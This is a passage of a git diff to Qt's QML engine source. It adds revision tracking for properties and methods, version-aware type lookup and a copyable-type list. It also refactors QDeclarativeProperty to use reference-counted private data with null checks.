+            d->m_superType = QDeclarativeMetaType::qmlType(mo, d->m_module, d->m_version_maj, d->m_version_min);
+            mo = mo->superClass();
+        }
+        d->m_haveSuperType = true;
+    }
+
+    return d->m_superType;
+}
+
 static void clone(QMetaObjectBuilder &builder, const QMetaObject *mo, 
                   const QMetaObject *ignoreStart, const QMetaObject *ignoreEnd)
 {
@@ -356,6 +390,25 @@ void QDeclarativeTypePrivate::init() const
         m_metaObjects[ii].methodOffset =
             m_metaObjects.at(ii).metaObject->methodOffset();
     }
+    
+    // Check for revisioned details
+    {
+        const QMetaObject *mo = 0;
+        if (m_metaObjects.isEmpty())
+            mo = m_baseMetaObject;
+        else
+            mo = m_metaObjects.first().metaObject;
+
+        for (int ii = 0; !m_containsRevisionedAttributes && ii < mo->propertyCount(); ++ii) {
+            if (mo->property(ii).revision() != 0)
+                m_containsRevisionedAttributes = true;
+        }
+
+        for (int ii = 0; !m_containsRevisionedAttributes && ii < mo->methodCount(); ++ii) {
+            if (mo->method(ii).revision() != 0)
+                m_containsRevisionedAttributes = true;
+        }
+    }
 
     m_isSetup = true;
     lock.unlock();
@@ -464,6 +517,18 @@ const QMetaObject *QDeclarativeType::baseMetaObject() const
     return d->m_baseMetaObject;
 }
 
+bool QDeclarativeType::containsRevisionedAttributes() const
+{
+    d->init();
+
+    return d->m_containsRevisionedAttributes;
+}
+
+int QDeclarativeType::metaObjectRevision() const
+{
+    return d->m_revision;
+}
+
 QDeclarativeAttachedPropertiesFunc QDeclarativeType::attachedPropertiesFunction() const
 {
     return d->m_attachedPropertiesFunc;
@@ -572,7 +637,7 @@ int registerType(const QDeclarativePrivate::RegisterType &type)
     if (!dtype->qmlTypeName().isEmpty())
         data->nameToType.insertMulti(dtype->qmlTypeName(), dtype);
 
-    data->metaObjectToType.insert(dtype->baseMetaObject(), dtype);
+    data->metaObjectToType.insertMulti(dtype->baseMetaObject(), dtype);
 
     if (data->objects.size() <= type.typeId)
         data->objects.resize(type.typeId + 16);
@@ -862,6 +927,27 @@ QDeclarativeType *QDeclarativeMetaType::qmlType(const QMetaObject *metaObject)
 }
 
 /*!
+    Returns the type (if any) that corresponds to the \a metaObject in version specified
+    by \a version_major and \a version_minor in module specified by \a uri.  Returns null if no
+    type is registered.
+*/
+QDeclarativeType *QDeclarativeMetaType::qmlType(const QMetaObject *metaObject, const QByteArray &module, int version_major, int version_minor)
+{
+    QReadLocker lock(metaTypeDataLock());
+    QDeclarativeMetaTypeData *data = metaTypeData();
+
+    QDeclarativeMetaTypeData::MetaObjects::const_iterator it = data->metaObjectToType.find(metaObject);
+    while (it != data->metaObjectToType.end() && it.key() == metaObject) {
+        QDeclarativeType *t = *it;
+        if (version_major < 0 || t->availableInVersion(module, version_major,version_minor))
+            return t;
+        ++it;
+    }
+
+    return 0;
+}
+
+/*!
     Returns the type (if any) that corresponds to the QVariant::Type \a userType.  
     Returns null if no type is registered.
 */
@@ -929,6 +1015,93 @@ QT_END_NAMESPACE
 Q_DECLARE_METATYPE(QScriptValue);
 
 QT_BEGIN_NAMESPACE
+
+bool QDeclarativeMetaType::canCopy(int type)
+{
+    switch(type) {
+    case QMetaType::VoidStar:
+    case QMetaType::QObjectStar:
+    case QMetaType::QWidgetStar:
+    case QMetaType::Long:
+    case QMetaType::Int:
+    case QMetaType::Short:
+    case QMetaType::Char:
+    case QMetaType::ULong:
+    case QMetaType::UInt:
+    case QMetaType::LongLong:
+    case QMetaType::ULongLong:
+    case QMetaType::UShort:
+    case QMetaType::UChar:
+    case QMetaType::Bool:
+    case QMetaType::Float:
+    case QMetaType::Double:
+    case QMetaType::QChar:
+    case QMetaType::QVariantMap:
+    case QMetaType::QVariantHash:
+    case QMetaType::QVariantList:
+    case QMetaType::QByteArray:
+    case QMetaType::QString:
+    case QMetaType::QStringList:
+    case QMetaType::QBitArray:
+    case QMetaType::QDate:
+    case QMetaType::QTime:
+    case QMetaType::QDateTime:
+    case QMetaType::QUrl:
+    case QMetaType::QLocale:
+    case QMetaType::QRect:
+    case QMetaType::QRectF:
+    case QMetaType::QSize:
+    case QMetaType::QSizeF:
+    case QMetaType::QLine:
+    case QMetaType::QLineF:
+    case QMetaType::QPoint:
+    case QMetaType::QPointF:
+    case QMetaType::QVector3D:
+#ifndef QT_NO_REGEXP
+    case QMetaType::QRegExp:
+#endif
+    case QMetaType::Void:
+#ifdef QT3_SUPPORT
+    case QMetaType::QColorGroup:
+#endif
+    case QMetaType::QFont:
+    case QMetaType::QPixmap:
+    case QMetaType::QBrush:
+    case QMetaType::QColor:
+    case QMetaType::QPalette:
+    case QMetaType::QIcon:
+    case QMetaType::QImage:
+    case QMetaType::QPolygon:
+    case QMetaType::QRegion:
+    case QMetaType::QBitmap:
+#ifndef QT_NO_CURSOR
+    case QMetaType::QCursor:
+#endif
+    case QMetaType::QSizePolicy:
+    case QMetaType::QKeySequence:
+    case QMetaType::QPen:
+    case QMetaType::QTextLength:
+    case QMetaType::QTextFormat:
+    case QMetaType::QMatrix:
+    case QMetaType::QTransform:
+    case QMetaType::QMatrix4x4:
+    case QMetaType::QVector2D:
+    case QMetaType::QVector4D:
+    case QMetaType::QQuaternion:
+        return true;
+
+    default:
+        if (type == qMetaTypeId<QVariant>() ||
+            type == qMetaTypeId<QScriptValue>() ||
+            typeCategory(type) != Unknown) {
+            return true;
+        }
+        break;
+    }
+
+    return false;
+}
+
 /*!
     Copies \a copy into \a data, assuming they both are of type \a type.  If
     \a copy is zero, a default type is copied.  Returns true if the copy was
diff --git a/src/declarative/qml/qdeclarativemetatype_p.h b/src/declarative/qml/qdeclarativemetatype_p.h
index 4e84ee8..aab1c31 100644
--- a/src/declarative/qml/qdeclarativemetatype_p.h
+++ b/src/declarative/qml/qdeclarativemetatype_p.h
@@ -69,6 +69,7 @@ class QDeclarativeTypePrivate;
 class Q_DECLARATIVE_PRIVATE_EXPORT QDeclarativeMetaType
 {
 public:
+    static bool canCopy(int type);
     static bool copy(int type, void *data, const void *copy = 0);
 
     static QList<QByteArray> qmlTypeNames();
@@ -76,6 +77,7 @@ public:
 
     static QDeclarativeType *qmlType(const QByteArray &, int, int);
     static QDeclarativeType *qmlType(const QMetaObject *);
+    static QDeclarativeType *qmlType(const QMetaObject *metaObject, const QByteArray &module, int version_major, int version_minor);
     static QDeclarativeType *qmlType(int);
 
     static QMetaProperty defaultProperty(const QMetaObject *);
@@ -112,9 +114,12 @@ public:
     QByteArray typeName() const;
     QByteArray qmlTypeName() const;
 
+    QByteArray module() const;
     int majorVersion() const;
     int minorVersion() const;
+
     bool availableInVersion(int vmajor, int vminor) const;
+    bool availableInVersion(const QByteArray &module, int vmajor, int vminor) const;
 
     QObject *create() const;
     void create(QObject **, void **, size_t) const;
@@ -135,6 +140,8 @@ public:
 
     const QMetaObject *metaObject() const;
     const QMetaObject *baseMetaObject() const;
+    int metaObjectRevision() const;
+    bool containsRevisionedAttributes() const;
 
     QDeclarativeAttachedPropertiesFunc attachedPropertiesFunction() const;
     const QMetaObject *attachedPropertiesType() const;
@@ -149,6 +156,7 @@ public:
     int index() const;
 
 private:
+    QDeclarativeType *superType() const;
     friend class QDeclarativeTypePrivate;
     friend struct QDeclarativeMetaTypeData;
     friend int registerType(const QDeclarativePrivate::RegisterType &);
diff --git a/src/declarative/qml/qdeclarativeobjectscriptclass.cpp b/src/declarative/qml/qdeclarativeobjectscriptclass.cpp
index eea928c..dc3ecca 100644
--- a/src/declarative/qml/qdeclarativeobjectscriptclass.cpp
+++ b/src/declarative/qml/qdeclarativeobjectscriptclass.cpp
@@ -149,8 +149,8 @@ QDeclarativeObjectScriptClass::queryProperty(Object *object, const Identifier &n
 
 QScriptClass::QueryFlags
 QDeclarativeObjectScriptClass::queryProperty(QObject *obj, const Identifier &name,
-                                    QScriptClass::QueryFlags flags, QDeclarativeContextData *evalContext,
-                                    QueryHints hints)
+                                             QScriptClass::QueryFlags flags, QDeclarativeContextData *evalContext,
+                                             QueryHints hints)
 {
     Q_UNUSED(flags);
     lastData = 0;
@@ -165,6 +165,12 @@ QDeclarativeObjectScriptClass::queryProperty(QObject *obj, const Identifier &nam
 
     QDeclarativeEnginePrivate *enginePrivate = QDeclarativeEnginePrivate::get(engine);
     lastData = QDeclarativePropertyCache::property(engine, obj, name, local);
+    if ((hints & ImplicitObject) && lastData && lastData->revision != 0) {
+
+        QDeclarativeData *ddata = QDeclarativeData::get(obj);
+        if (ddata && ddata->propertyCache && !ddata->propertyCache->isAllowedInRevision(lastData)) 
+            return 0;
+    }
 
     if (lastData)
         return QScriptClass::HandlesReadAccess | QScriptClass::HandlesWriteAccess;
@@ -354,8 +360,20 @@ void QDeclarativeObjectScriptClass::setProperty(QObject *obj,
         }
     }
 
+    QDeclarativeBinding *newBinding = 0;
+    if (value.isFunction() && !value.isRegExp()) {
+        QScriptContextInfo ctxtInfo(context);
+        QDeclarativePropertyCache::ValueTypeData valueTypeData;
+
+        newBinding = new QDeclarativeBinding(value, obj, evalContext);
+        newBinding->setSourceLocation(ctxtInfo.fileName(), ctxtInfo.functionStartLineNumber());
+        newBinding->setTarget(QDeclarativePropertyPrivate::restore(*lastData, valueTypeData, obj, evalContext));
+        if (newBinding->expression().contains(QLatin1String("this")))
+            newBinding->setEvaluateFlags(newBinding->evaluateFlags() | QDeclarativeBinding::RequiresThisObject);
+    }
+
     QDeclarativeAbstractBinding *delBinding =
-        QDeclarativePropertyPrivate::setBinding(obj, lastData->coreIndex, -1, 0);
+        QDeclarativePropertyPrivate::setBinding(obj, lastData->coreIndex, -1, newBinding);
     if (delBinding)
         delBinding->destroy();
 
@@ -374,9 +392,8 @@ void QDeclarativeObjectScriptClass::setProperty(QObject *obj,
         QString error = QLatin1String("Cannot assign [undefined] to ") +
                         QLatin1String(QMetaType::typeName(lastData->propType));
         context->throwError(error);
-    } else if (!value.isRegExp() && value.isFunction()) {
-        QString error = QLatin1String("Cannot assign a function to a property.");
-        context->throwError(error);
+    } else if (value.isFunction() && !value.isRegExp()) {
+        // this is handled by the binding creation above
     } else {
         QVariant v;
         if (lastData->flags & QDeclarativePropertyCache::Data::IsQList)
diff --git a/src/declarative/qml/qdeclarativeparser.cpp b/src/declarative/qml/qdeclarativeparser.cpp
index da4016e..35bb0f1 100644
--- a/src/declarative/qml/qdeclarativeparser.cpp
+++ b/src/declarative/qml/qdeclarativeparser.cpp
@@ -66,13 +66,14 @@ using namespace QDeclarativeJS;
 using namespace QDeclarativeParser;
 
 QDeclarativeParser::Object::Object()
-: type(-1), majorVersion(-1), minorVersion(-1), idIndex(-1), metatype(0), defaultProperty(0), parserStatusCast(-1)
+: type(-1), majorVersion(-1), minorVersion(-1), idIndex(-1), metatype(0), synthCache(0), defaultProperty(0), parserStatusCast(-1)
 {
 }
 
 QDeclarativeParser::Object::~Object() 
 { 
     if (defaultProperty) defaultProperty->release();
+    if (synthCache) synthCache->release();
     foreach(Property *prop, properties)
         prop->release();
     foreach(Property *prop, valueProperties)
diff --git a/src/declarative/qml/qdeclarativeparser_p.h b/src/declarative/qml/qdeclarativeparser_p.h
index 6ef2811..8f41a91 100644
--- a/src/declarative/qml/qdeclarativeparser_p.h
+++ b/src/declarative/qml/qdeclarativeparser_p.h
@@ -71,6 +71,7 @@ QT_BEGIN_NAMESPACE
 
 QT_MODULE(Declarative)
 
+class QDeclarativePropertyCache;
 namespace QDeclarativeJS { namespace AST { class Node; } }
 
 /*
@@ -154,6 +155,7 @@ namespace QDeclarativeParser
         QAbstractDynamicMetaObject extObject;
         QByteArray metadata; // Generated by compiler
         QByteArray synthdata; // Generated by compiler
+        QDeclarativePropertyCache *synthCache; // Generated by compiler
 
         Property *getDefaultProperty();
         Property *getProperty(const QByteArray &name, bool create=true);
diff --git a/src/declarative/qml/qdeclarativeprivate.h b/src/declarative/qml/qdeclarativeprivate.h
index 6e73ec9..7ac3369 100644
--- a/src/declarative/qml/qdeclarativeprivate.h
+++ b/src/declarative/qml/qdeclarativeprivate.h
@@ -214,6 +214,8 @@ namespace QDeclarativePrivate
         const QMetaObject *extensionMetaObject;
 
         QDeclarativeCustomParser *customParser;
+        int revision;
+        // If this is extended ensure "version" is bumped!!!
     };
 
     struct RegisterInterface {
diff --git a/src/declarative/qml/qdeclarativeproperty.cpp b/src/declarative/qml/qdeclarativeproperty.cpp
index 8210314..0dd0edb 100644
--- a/src/declarative/qml/qdeclarativeproperty.cpp
+++ b/src/declarative/qml/qdeclarativeproperty.cpp
@@ -106,15 +106,16 @@ qWarning() << "Pixel size should now be 24:" << property.read().toInt();
     Create an invalid QDeclarativeProperty.
 */
 QDeclarativeProperty::QDeclarativeProperty()
-: d(new QDeclarativePropertyPrivate)
+: d(0)
 {
-    d->q = this;
 }
 
 /*!  \internal */
 QDeclarativeProperty::~QDeclarativeProperty()
 {
-    delete d; d = 0;
+    if (d)
+        d->release();
+    d = 0;
 }
 
 /*!
@@ -124,7 +125,6 @@ QDeclarativeProperty::~QDeclarativeProperty()
 QDeclarativeProperty::QDeclarativeProperty(QObject *obj)
 : d(new QDeclarativePropertyPrivate)
 {
-    d->q = this;
     d->initDefault(obj);
 }
 
@@ -137,7 +137,6 @@ QDeclarativeProperty::QDeclarativeProperty(QObject *obj)
 QDeclarativeProperty::QDeclarativeProperty(QObject *obj, QDeclarativeContext *ctxt)
 : d(new QDeclarativePropertyPrivate)
 {
-    d->q = this;
     d->context = ctxt?QDeclarativeContextData::get(ctxt):0;
     d->engine = ctxt?ctxt->engine():0;
     d->initDefault(obj);
@@ -152,7 +151,6 @@ QDeclarativeProperty::QDeclarativeProperty(QObject *obj, QDeclarativeContext *ct
 QDeclarativeProperty::QDeclarativeProperty(QObject *obj, QDeclarativeEngine *engine)
   : d(new QDeclarativePropertyPrivate)
 {
-    d->q = this;
     d->context = 0;
     d->engine = engine;
     d->initDefault(obj);
@@ -178,7 +176,6 @@ void QDeclarativePropertyPrivate::initDefault(QObject *obj)
 QDeclarativeProperty::QDeclarativeProperty(QObject *obj, const QString &name)
 : d(new QDeclarativePropertyPrivate)
 {
-    d->q = this;
     d->initProperty(obj, name);
     if (!isValid()) d->object = 0;
 }
@@ -190,7 +187,6 @@ QDeclarativeProperty::QDeclarativeProperty(QObject *obj, const QString &name)
 QDeclarativeProperty::QDeclarativeProperty(QObject *obj, const QString &name, QDeclarativeContext *ctxt)
 : d(new QDeclarativePropertyPrivate)
 {
-    d->q = this;
     d->context = ctxt?QDeclarativeContextData::get(ctxt):0;
     d->engine = ctxt?ctxt->engine():0;
     d->initProperty(obj, name);
@@ -205,7 +201,6 @@ QDeclarativeProperty::QDeclarativeProperty(QObject *obj, const QString &name, QD
 QDeclarativeProperty::QDeclarativeProperty(QObject *obj, const QString &name, QDeclarativeEngine *engine)
 : d(new QDeclarativePropertyPrivate)
 {
-    d->q = this;
     d->context = 0;
     d->engine = engine;
     d->initProperty(obj, name);
@@ -315,6 +310,8 @@ void QDeclarativePropertyPrivate::initProperty(QObject *obj, const QString &name
     if (property && !(property->flags & QDeclarativePropertyCache::Data::IsFunction)) {
         object = currentObject;
         core = *property;
+        nameCache = terminal;
+        isNameCached = true;
     }
 }
 
@@ -322,9 +319,10 @@ void QDeclarativePropertyPrivate::initProperty(QObject *obj, const QString &name
     Create a copy of \a other.
 */
 QDeclarativeProperty::QDeclarativeProperty(const QDeclarativeProperty &other)
-: d(new QDeclarativePropertyPrivate(*other.d))
 {
-    d->q = this;
+    d = other.d;
+    if (d)
+        d->addref();
 }
 
 /*!
@@ -353,13 +351,13 @@ QDeclarativeProperty::QDeclarativeProperty(const QDeclarativeProperty &other)
 */
 QDeclarativeProperty::PropertyTypeCategory QDeclarativeProperty::propertyTypeCategory() const
 {
-    return d->propertyTypeCategory();
+    return d ? d->propertyTypeCategory() : InvalidCategory;
 }
 
 QDeclarativeProperty::PropertyTypeCategory 
 QDeclarativePropertyPrivate::propertyTypeCategory() const
 {
-    uint type = q->type();
+    uint type = this->type();
 
     if (isValueType()) {
         return QDeclarativeProperty::Normal;
@@ -386,6 +384,8 @@ QDeclarativePropertyPrivate::propertyTypeCategory() const
 */
 const char *QDeclarativeProperty::propertyTypeName() const
 {
+    if (!d)
+        return 0;
     if (d->isValueType()) {
 
         QDeclarativeEnginePrivate *ep = QDeclarativeEnginePrivate::get(d->context);
@@ -412,6 +412,8 @@ const char *QDeclarativeProperty::propertyTypeName() const
 */
 bool QDeclarativeProperty::operator==(const QDeclarativeProperty &other) const
 {
+    if (!d || !other.d)
+        return false;
     // category is intentially omitted here as it is generated 
     // from the other members
     return d->object == other.d->object &&
@@ -425,7 +427,7 @@ bool QDeclarativeProperty::operator==(const QDeclarativeProperty &other) const
 */
 int QDeclarativeProperty::propertyType() const
 {
-    return d->propertyType();
+    return d ? d->propertyType() : int(QVariant::Invalid);
 }
 
 bool QDeclarativePropertyPrivate::isValueType() const
@@ -435,7 +437,7 @@ bool QDeclarativePropertyPrivate::isValueType() const
 
 int QDeclarativePropertyPrivate::propertyType() const
 {
-    uint type = q->type();
+    uint type = this->type();
     if (isValueType()) {
         return valueType.valueTypePropType;
     } else if (type & QDeclarativeProperty::Property) {
@@ -448,17 +450,22 @@ int QDeclarativePropertyPrivate::propertyType() const
     }
 }
 
+QDeclarativeProperty::Type QDeclarativePropertyPrivate::type() const
+{
+    if (core.flags & QDeclarativePropertyCache::Data::IsFunction)
+        return QDeclarativeProperty::SignalProperty;
+    else if (core.isValid())
+        return QDeclarativeProperty::Property;
+    else
+        return QDeclarativeProperty::Invalid;
+}
+
 /*!
     Returns the type of the property.
 */
 QDeclarativeProperty::Type QDeclarativeProperty::type() const
 {
-    if (d->core.flags & QDeclarativePropertyCache::Data::IsFunction)
-        return SignalProperty;
-    else if (d->core.isValid())
-        return Property;
-    else
-        return Invalid;
+    return d ? d->type() : Invalid;
 }
 
 /*!
@@ -482,7 +489,7 @@ bool QDeclarativeProperty::isSignalProperty() const
 */
 QObject *QDeclarativeProperty::object() const
 {
-    return d->object;
+    return d ? d->object : 0;
 }
 
 /*!
@@ -490,15 +497,11 @@ QObject *QDeclarativeProperty::object() const
 */
 QDeclarativeProperty &QDeclarativeProperty::operator=(const QDeclarativeProperty &other)
 {
-    d->context = other.d->context;
-    d->engine = other.d->engine;
-    d->object = other.d->object;
-
-    d->isNameCached = other.d->isNameCached;
-    d->core = other.d->core;
-    d->nameCache = other.d->nameCache;
-
-    d->valueType = other.d->valueType;
+    if (d)
+        d->release();
+    d = other.d;
+    if (d)
+        d->addref();
 
     return *this;
 }
@@ -508,6 +511,8 @@ QDeclarativeProperty &QDeclarativeProperty::operator=(const QDeclarativeProperty
 */
 bool QDeclarativeProperty::isWritable() const
 {
+    if (!d)
+        return false;
     if (!d->object)
         return false;
     if (d->core.flags & QDeclarativePropertyCache::Data::IsQList)           //list
@@ -525,6 +530,8 @@ bool QDeclarativeProperty::isWritable() const
 */
 bool QDeclarativeProperty::isDesignable() const
 {
+    if (!d)
+        return false;
     if (type() & Property && d->core.isValid() && d->object)
         return d->object->metaObject()->property(d->core.coreIndex).isDesignable();
     else
@@ -536,6 +543,8 @@ bool QDeclarativeProperty::isDesignable() const
 */
 bool QDeclarativeProperty::isResettable() const
 {
+    if (!d)
+        return false;
     if (type() & Property && d->core.isValid() && d->object)
         return d->core.flags & QDeclarativePropertyCache::Data::IsResettable;
     else
@@ -548,6 +557,8 @@ bool QDeclarativeProperty::isResettable() const
 */
 bool QDeclarativeProperty::isValid() const
 {
+    if (!d)
+        return false;
     return type() != Invalid;
 }
 
@@ -556,6 +567,8 @@ bool QDeclarativeProperty::isValid() const
 */
 QString QDeclarativeProperty::name() const
 {
+    if (!d)
+        return QString();
     if (!d->isNameCached) {
         // ###
         if (!d->object) {
@@ -592,6 +605,8 @@ QString QDeclarativeProperty::name() const
  */
 QMetaProperty QDeclarativeProperty::property() const
 {
+    if (!d)
+        return QMetaProperty();
     if (type() & Property && d->core.isValid() && d->object)
         return d->object->metaObject()->property(d->core.coreIndex);
     else
@@ -604,6 +619,8 @@ QMetaProperty QDeclarativeProperty::property() const
 */
 QMetaMethod QDeclarativeProperty::method() const
 {
+    if (!d)
+        return QMetaMethod();
     if (type() & SignalProperty && d->object)
         return d->object->metaObject()->method(d->core.coreIndex);
     else
@@ -617,7 +634,7 @@ QMetaMethod QDeclarativeProperty::method() const
 QDeclarativeAbstractBinding *
 QDeclarativePropertyPrivate::binding(const QDeclarativeProperty &that) 
 {
-    if (!that.isProperty() || !that.d->object)
+    if (!that.d || !that.isProperty() || !that.d->object)
         return 0;
 
     return binding(that.d->object, that.d->core.coreIndex, that.d->valueType.valueTypeCoreIdx);
@@ -641,7 +658,7 @@ QDeclarativePropertyPrivate::setBinding(const QDeclarativeProperty &that,
                                             QDeclarativeAbstractBinding *newBinding, 
                                             WriteFlags flags) 
 {
-    if (!that.isProperty() || !that.d->object) {
+    if (!that.d || !that.isProperty() || !that.d->object) {
         if (newBinding)
             newBinding->destroy();
         return 0;
@@ -891,6 +908,8 @@ QDeclarativePropertyPrivate::setSignalExpression(const QDeclarativeProperty &tha
 */
 QVariant QDeclarativeProperty::read() const
 {
+    if (!d)
+        return QVariant();
     if (!d->object)
         return QVariant();
 
@@ -1032,8 +1051,10 @@ bool QDeclarativePropertyPrivate::writeEnumProperty(const QMetaProperty &prop, i
 bool QDeclarativePropertyPrivate::writeValueProperty(const QVariant &value, WriteFlags flags)
 {
     // Remove any existing bindings on this property
-    if (!(flags & DontRemoveBinding)) {
-        QDeclarativeAbstractBinding *binding = setBinding(*q, 0);
+    if (!(flags & DontRemoveBinding) &&
+        (type() & QDeclarativeProperty::Property) && object) {
+        QDeclarativeAbstractBinding *binding = setBinding(object, core.coreIndex,
+                                                          valueType.valueTypeCoreIdx, 0, flags);
         if (binding) binding->destroy();
     }
 
@@ -1312,6 +1333,8 @@ bool QDeclarativeProperty::reset() const
 bool QDeclarativePropertyPrivate::write(const QDeclarativeProperty &that,
                                             const QVariant &value, WriteFlags flags) 
 {
+    if (!that.d)
+        return false;
     if (that.d->object && that.type() & QDeclarativeProperty::Property && 
         that.d->core.isValid() && that.isWritable()) 
         return that.d->writeValueProperty(value, flags);
@@ -1390,12 +1413,12 @@ bool QDeclarativeProperty::connectNotifySignal(QObject *dest, const char *slot)
 */
 int QDeclarativeProperty::index() const
 {
-    return d->core.coreIndex;
+    return d ? d->core.coreIndex : -1;
 }
 
 int QDeclarativePropertyPrivate::valueTypeCoreIndex(const QDeclarativeProperty &that)
 {
-    return that.d->valueType.valueTypeCoreIdx;
+    return that.d ? that.d->valueType.valueTypeCoreIdx : -1;
 }
 
 /*!
@@ -1404,6 +1427,8 @@ int QDeclarativePropertyPrivate::valueTypeCoreIndex(const QDeclarativeProperty &
 */
 int QDeclarativePropertyPrivate::bindingIndex(const QDeclarativeProperty &that)
 {
+    if (!that.d)
+        return -1;
     int rv = that.d->core.coreIndex;
     if (rv != -1 && that.d->valueType.valueTypeCoreIdx != -1)
         rv = rv | (that.d->valueType.valueTypeCoreIdx << 24);
@@ -1455,18 +1480,28 @@ QDeclarativePropertyPrivate::restore(const QByteArray &data, QObject *object, QD
     if (data.isEmpty())
         return prop;
 
-    prop.d->object = object;
-    prop.d->context = ctxt;
-    prop.d->engine = ctxt->engine;
-
     const SerializedData *sd = (const SerializedData *)data.constData();
     if (sd->isValueType) {
         const ValueTypeSerializedData *vt = (const ValueTypeSerializedData *)sd;
-        prop.d->core = vt->core;
-        prop.d->valueType = vt->valueType;
+        return restore(vt->core, vt->valueType, object, ctxt);
     } else {
-        prop.d->core = sd->core;
+        QDeclarativePropertyCache::ValueTypeData data;
+        return restore(sd->core, data, object, ctxt);
     }
+}
+
+QDeclarativeProperty
+QDeclarativePropertyPrivate::restore(const QDeclarativePropertyCache::Data &data, const QDeclarativePropertyCache::ValueTypeData &valueType, QObject *object, QDeclarativeContextData *ctxt)
+{
+    QDeclarativeProperty prop;
+
+    prop.d = new QDeclarativePropertyPrivate;
+    prop.d->object = object;
+    prop.d->context = ctxt;
+    prop.d->engine = ctxt->engine;
+
+    prop.d->core = data;
+    prop.d->valueType = valueType;
 
     return prop;
 }
diff --git a/src/declarative/qml/qdeclarativeproperty_p.h b/src/declarative/qml/qdeclarativeproperty_p.h
index 334cfcf..bd2c891 100644
--- a/src/declarative/qml/qdeclarativeproperty_p.h
+++ b/src/declarative/qml/qdeclarativeproperty_p.h
@@ -65,23 +65,15 @@ QT_BEGIN_NAMESPACE
 class QDeclarativeContext;
 class QDeclarativeEnginePrivate;
 class QDeclarativeExpression;
-class Q_DECLARATIVE_PRIVATE_EXPORT QDeclarativePropertyPrivate
+class Q_DECLARATIVE_PRIVATE_EXPORT QDeclarativePropertyPrivate : public QDeclarativeRefCount
 {
 public:
     enum WriteFlag { BypassInterceptor = 0x01, DontRemoveBinding = 0x02, RemoveBindingOnAliasWrite = 0x04 };
     Q_DECLARE_FLAGS(WriteFlags, WriteFlag)
 
     QDeclarativePropertyPrivate()
-        : q(0), context(0), engine(0), object(0), isNameCached(false) {}
-          
+        : context(0), engine(0), object(0), isNameCached(false) {}
 
-    QDeclarativePropertyPrivate(const QDeclarativePropertyPrivate &other)
-        : q(0), context(other.context), engine(other.engine), object(other.object), 
-          isNameCached(other.isNameCached),
-          core(other.core), nameCache(other.nameCache),
-          valueType(other.valueType) {}
-
-    QDeclarativeProperty *q;
     QDeclarativeContextData *context;
     QDeclarativeEngine *engine;
     QDeclarativeGuard<QObject> object;
@@ -98,6 +90,7 @@ public:
 
     bool isValueType() const;
     int propertyType() const;
+    QDeclarativeProperty::Type type() const;
     QDeclarativeProperty::PropertyTypeCategory propertyTypeCategory() const;
 
     QVariant readValueProperty();
@@ -119,7 +112,12 @@ public:
     static QByteArray saveValueType(const QMetaObject *, int, 
                                     const QMetaObject *, int);
     static QByteArray saveProperty(const QMetaObject *, int);
+
     static QDeclarativeProperty restore(const QByteArray &, QObject *, QDeclarativeContextData *);
+    static QDeclarativeProperty restore(const QDeclarativePropertyCache::Data &,
+                                        const QDeclarativePropertyCache::ValueTypeData &,
+                                        QObject *,
+                                        QDeclarativeContextData *);
 
     static bool equal(const QMetaObject *, const QMetaObject *);
     static bool canConvert(const QMetaObject *from, const QMetaObject *to);
diff --git a/src/declarative/qml/qdeclarativepropertycache.cpp b/src/declarative/qml/qdeclarativepropertycache.cpp
index 91badae..6a39a65 100644
--- a/src/declarative/qml/qdeclarativepropertycache.cpp
+++ b/src/declarative/qml/qdeclarativepropertycache.cpp
@@ -88,6 +88,7 @@ void QDeclarativePropertyCache::Data::load(const QMetaProperty &p, QDeclarativeE
     coreIndex = p.propertyIndex();
     notifyIndex = p.notifySignalIndex();
     flags = flagsForProperty(p, engine);
+    revision = p.revision();
 }
 
 void QDeclarativePropertyCache::Data::load(const QMetaMethod &m)
@@ -106,6 +107,7 @@ void QDeclarativePropertyCache::Data::load(const QMetaMethod &m)
     QList<QByteArray> params = m.parameterTypes();
     if (!params.isEmpty())
         flags |= Data::HasArguments;
+    revision = m.revision();
 }
 
 
@@ -216,6 +218,7 @@ QDeclarativePropertyCache *QDeclarativePropertyCache::copy() const
     cache->methodIndexCache = methodIndexCache;
     cache->stringCache = stringCache;
     cache->identifierCache = identifierCache;
+    cache->allowedRevisionCache = allowedRevisionCache;
 
     for (int ii = 0; ii < indexCache.count(); ++ii) {
         if (indexCache.at(ii)) indexCache.at(ii)->addref();
@@ -234,8 +237,18 @@ QDeclarativePropertyCache *QDeclarativePropertyCache::copy() const
 void QDeclarativePropertyCache::append(QDeclarativeEngine *engine, const QMetaObject *metaObject, 
                                        Data::Flag propertyFlags, Data::Flag methodFlags, Data::Flag signalFlags)
 {
-    QDeclarativeEnginePrivate *enginePriv = QDeclarativeEnginePrivate::get(engine);
+    append(engine, metaObject, -1, propertyFlags, methodFlags, signalFlags);
+}
+
+void QDeclarativePropertyCache::append(QDeclarativeEngine *engine, const QMetaObject *metaObject, 
+                                       int revision, 
+                                       Data::Flag propertyFlags, Data::Flag methodFlags, Data::Flag signalFlags)
+{
+    Q_UNUSED(revision);
+
+    allowedRevisionCache.append(0);
 
+    QDeclarativeEnginePrivate *enginePriv = QDeclarativeEnginePrivate::get(engine);
     int methodCount = metaObject->methodCount();
     // 3 to block the destroyed signal and the deleteLater() slot
     int methodOffset = qMax(3, metaObject->methodOffset()); 
@@ -261,11 +274,15 @@ void QDeclarativePropertyCache::append(QDeclarativeEngine *engine, const QMetaOb
         else if (m.methodType() == QMetaMethod::Signal)
             data->flags |= signalFlags;
 
+        data->metaObjectOffset = allowedRevisionCache.count() - 1;
+
         if (stringCache.contains(methodName)) {
             RData *old = stringCache[methodName];
             // We only overload methods in the same class, exactly like C++
             if (old->flags & Data::IsFunction && old->coreIndex >= methodOffset)
                 data->relatedIndex = old->coreIndex;
+            data->overrideIndexIsProperty = !bool(old->flags & Data::IsFunction);
+            data->overrideIndex = old->coreIndex;
             stringCache[methodName]->release();
             identifierCache[data->identifier.identifier]->release();
         }
@@ -294,7 +311,12 @@ void QDeclarativePropertyCache::append(QDeclarativeEngine *engine, const QMetaOb
         data->load(p, engine);
         data->flags |= propertyFlags;
 
+        data->metaObjectOffset = allowedRevisionCache.count() - 1;
+
         if (stringCache.contains(propName)) {
+            RData *old = stringCache[propName];
+            data->overrideIndexIsProperty = !bool(old->flags & Data::IsFunction);
+            data->overrideIndex = old->coreIndex;
             stringCache[propName]->release();
             identifierCache[data->identifier.identifier]->release();
         }
diff --git a/src/declarative/qml/qdeclarativepropertycache_p.h b/src/declarative/qml/qdeclarativepropertycache_p.h
index df2412c..eeeff1a 100644
--- a/src/declarative/qml/qdeclarativepropertycache_p.h
+++ b/src/declarative/qml/qdeclarativepropertycache_p.h
